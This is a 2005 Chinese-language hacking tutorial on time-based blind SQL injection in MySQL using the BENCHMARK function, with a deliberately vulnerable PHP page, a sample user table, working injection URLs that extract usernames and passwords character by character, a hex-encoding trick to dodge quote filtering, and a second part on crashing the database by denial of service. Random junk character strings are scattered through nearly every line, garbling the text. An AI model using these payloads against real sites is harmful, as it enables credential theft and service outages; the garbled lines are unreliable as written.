MYSQL中BENCHMARK函数的利用 4 s6 A4 e* n j) S
本文作者:SuperHei
$ B6 P2 x$ \6 V文章性质:原创
6 B+ p, \+ v/ z发布日期:2005-01-027 K+ J2 j) i: e' f. ]( O; J
完成日期:2004-07-09 5 K# z8 f6 X/ g. A* T
第一部
/ m+ c& M# o* x. i, {! G; V# I6 m
$ }' |3 b' j: d2 y" ^利用时间推延进行注射---BENCHMARK函数在注射中的利用 $ t; ^) N6 y) X6 j' Y1 A
! f( M8 ~) H# `! f3 a一.前言/思路
- j. ~& s2 y! k4 j& c0 Z% X# S7 l4 C r J/ [1 _
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。: p9 N: ?( o) h: k
4 X( L4 |4 ]0 {5 Y/ ?
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。# i0 q6 h0 L9 I
y2 p$ I4 D/ U/ E5 E二.关于BENCHMARK函数: L9 Z& y; ^7 K+ l! G
& T& ]+ q7 @$ B/ a$ W- o- y+ V
在MySQL参考手册里可以看到如下描叙: ! K8 u; k" t, p- h, K
# B) X" v, G& r3 c
8 X+ \- ^7 ?* m) ^, x--------------------------------------------------------------------------------
" S) o8 c8 z+ u% n9 g1 t& S0 u& m. h0 A- F5 G
BENCHMARK(count,expr) - ^. }3 Y8 K5 r
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
9 j3 J3 _+ x! | U) f$ p% @8 J7 s$ @mysql> select BENCHMARK(1000000,encode("hello","goodbye")); 9 O5 Y) X$ A4 y1 D4 {2 p
+----------------------------------------------+
[! f: R; s; k| BENCHMARK(1000000,encode("hello","goodbye")) | & U' z" b4 q( t, O& _
+----------------------------------------------+ 9 b- e6 j' O. p! O
| 0 | # O3 m" ^1 n# _) H' q f; W5 Q
+----------------------------------------------+
/ D& s0 \' @, k1 ^$ L5 S% A1 row in set (4.74 sec)
% W8 p. {% W. q9 Z# T" E( i# N, ^ j, E% a( F3 b
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。- M3 b9 f& P1 [% r
6 L/ h$ n. U3 |& O9 Q! S
N+ ?5 b% N, N' Z--------------------------------------------------------------------------------
6 Q3 N4 ^8 Y2 q1 Y! F/ F9 r
6 B' Z+ U% m1 c8 u8 e 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
: D8 o) _& E; J, x9 w$ [
+ V( _) y' g: l" @- s! z7 |( _; {mysql> select md5( 'test' ); # r9 i. w. v7 u0 q
+----------------------------------+ ; k6 I' a7 B& t! Z
| md5( 'test' ) | 1 V# I8 t7 x" @, S V' f
+----------------------------------+
' R- ]2 W' R# }3 d/ X# G9 ^| 098f6bcd4621d373cade4e832627b4f6 | ) ]" X: T) O% o) r7 q6 C4 s5 v
+----------------------------------+
0 J& ]& e. D. k( y }2 d1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec + F& u1 k! ~, \# O% d- m
: P' H8 |0 t- h6 k; W2 V
mysql> select benchmark( 500000, md5( 'test' ) ); 8 g9 L6 l4 x1 K( [0 ^0 {3 h1 P0 U
+------------------------------------+ 2 o1 x& P( i% P7 j3 w0 p
| benchmark( 500000, md5( 'test' ) ) |
: _* u' _5 x }+ k( A i+------------------------------------+ ! e9 [+ ]+ E" C z) m: H
| 0 | $ i) e. A% C; e B2 o
+------------------------------------+
* R# A q: _- v8 E5 d0 f1 row in set (6.55 sec) 〈------------执行时间为6.55 sec& x7 h6 ^ @! C* h0 a
4 A, g; O+ ?5 k3 R. `: O* I7 q. v; Z2 _0 V7 D
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 ( V9 I) g: k4 ^/ w( `
5 X8 \. S! x1 N% w6 @! v
三.具体例子
8 U6 x) H( ?2 L0 X- u/ B- o# G; h) H% {( G4 ~: U! E
首先我们看个简单的php代码: e7 G' a0 o2 @' E
: X' Q5 W6 [3 }( E: Q
< ?php 5 ?9 \6 I D7 `2 l" L( j
$servername = "localhost"; . s5 z; i. P8 j5 r! |
$dbusername = "root";
# U _8 z8 M$ e- v$ R" a. E$dbpassword = "";
1 a& X# d! S8 J, T! c$dbname = "injection";
# u0 u/ c P6 K- {0 s' p2 |1 ^6 n1 v3 m9 j9 j) t3 |6 o# e
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$ Y) B1 p: J# K2 z0 _& e' s. |0 v- `1 l$ p' W9 h( s/ p+ m
$sql = "SELECT * FROM article WHERE articleid=$id"; ; h4 F2 t& I5 }$ a ]
$result = mysql_db_query($dbname,$sql);
s9 R" O! G/ K" ?; b$row = mysql_fetch_array($result); & X! D$ c$ y* w7 i$ x' Q; X0 ^/ P. w7 {
$ D/ x! `/ V' F' `4 K; Iif (!$row)
6 |% x, _4 D+ o{
: W) C8 h" m0 E: p( o0 D$ nexit;
+ j4 T$ P a! u" \}
7 D3 M; b8 @% i6 N. U?>
! S+ q2 L1 b0 M" D2 G2 o' n
/ Z- X- a1 |+ f2 }0 V7 u, \$ r. ^8 O' z6 A) h$ }( n
数据库injection结构和内容如下:
5 g6 _- Q0 n. ^7 i) F: a
6 j- G: r0 Z2 t0 Z# 数据库 : `injection` & [" `. N: Y4 A. ~, v% n) r# \, A
# ; u8 N* `8 ^! X8 q
4 f) t S1 U. f# D7 l! N0 ]! @
# --------------------------------------------------------
' e+ |1 o2 D% ?$ h; n3 y/ z$ k* b+ \6 k* @, ^% C- U, q$ ^3 Y
# $ w5 B \9 Y6 F. a' t$ i* M1 I
# 表的结构 `article` & @+ `/ n: c% g& {) M$ R' j
#
2 f$ S* ], ~- y2 n4 Q3 k& m; Y( z& b: m6 @' Z8 Q; i& ?& l
CREATE TABLE `article` (
: r6 C3 a- B2 y. j9 ` W`articleid` int(11) NOT NULL auto_increment,
0 U4 e/ q, k+ O. R1 X`title` varchar(100) NOT NULL default '', ) g! x. C- P g' x1 E
`content` text NOT NULL, ) |' m8 ?8 {: X1 e5 }5 r& |
PRIMARY KEY (`articleid`) 7 e: m7 ]% p1 t( [$ F
) TYPE=MyISAM AUTO_INCREMENT=3 ; / z3 C9 Y8 U6 l7 L% `( Q
* A" a) P1 I' a( d- }2 X
# / Q. m3 e' z. {4 |; d! f' ?' B
# 导出表中的数据 `article` * B8 V! E/ h6 t, r8 }: S, G& w
# 6 f5 N+ M/ [5 W$ D) n, e* E4 ^' Z3 d
: q. I& M" ?4 O( o" T5 F
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
4 \1 Y3 M( ?* s, h; |7 D* Q2 y( n& dINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); $ K+ F5 G- ?: c1 \1 }
- { K& H1 M2 j% l: M: H
# --------------------------------------------------------
1 V! T" `" I6 f0 m3 _$ M2 \, ~0 M4 p2 a1 F
#
p2 z# i9 U" l: l% Y8 E/ D. ?& D# 表的结构 `user`
6 V* `# T& D: P' X* J6 ]0 Z# ( @; N. c2 M& T- v2 Z; O' U7 p" l
( E3 \1 P+ T4 W8 s
CREATE TABLE `user` ( # z' d1 r5 H/ Y; L. O
`userid` int(11) NOT NULL auto_increment, 8 ]! J" K6 W) Z# q# K% q$ C: K6 _
`username` varchar(20) NOT NULL default '',
0 {1 E$ ]4 `' b, L`password` varchar(20) NOT NULL default '', ' y+ z2 P* @: W5 j5 ]: L
PRIMARY KEY (`userid`) 8 l7 S6 K$ c9 ?+ F
) TYPE=MyISAM AUTO_INCREMENT=3 ; ) R/ s [, j9 U& J
5 p* J3 V. y, g6 W: g9 Z' K9 Z" T/ G* e
#
5 E$ o3 V5 G5 x+ \! l# 导出表中的数据 `user`
( a8 O) S& t0 x; m: z! B#
1 |# O5 p4 t# l+ @/ q6 b% _- u) j1 o4 I" R. i5 U4 l
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
! D3 D, p( `5 Q/ lINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
$ R/ A6 f1 P' r# [. b 7 e( E# l5 b# r0 c0 b# q8 e& V
% H% n& j" y/ b8 S# ~, h
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:) |6 C7 I* |0 m" d4 b3 J
5 _1 e. E+ R0 K% P7 l% Z- A
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
. [ q" w9 }$ A- n
) [$ O* s5 T/ O& m/ ]7 x B* t- l8 ^
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
7 M. V4 M/ h! C4 @7 G6 ~$ [7 M3 o; s$ ~' ?. [& V' ^
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
. s0 Q- z( s' b% f& I1 u; I0 O3 S( E / N- u6 a' ?! Q# Q/ x! q* u
- ~. d' o1 @( J8 d1 n$ @& [% j: w0 x 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
* I% J6 L: q* L \ D
! U7 O) M+ L# f u 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 9 d( V( i* t S: Y7 l
0 O" ?4 P: v) R
第二部
4 z) w6 u O5 ]
1 d$ D- L) J* L9 ]利用BENCHMARK函数进行ddos攻击
+ Z; `+ S* D; @# b4 r. ^! s! L& _: |& z O+ M; ]& ^% |( ^
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
0 _" z5 S( f y! S8 P5 S; y4 _8 `6 N9 m3 U0 K9 Z
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))+ b0 J% `: H0 ^7 c
* |4 }2 K- n- T; A) U' C
: G2 P. i" ?( h# d0 q
小结$ k2 {3 H( J4 q
5 p1 z0 `& q% `
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。5 E: }. e( I0 e0 L6 L
# [7 w+ y6 H: r) d2 x
* }$ c* z; u# u3 I6 {. c E |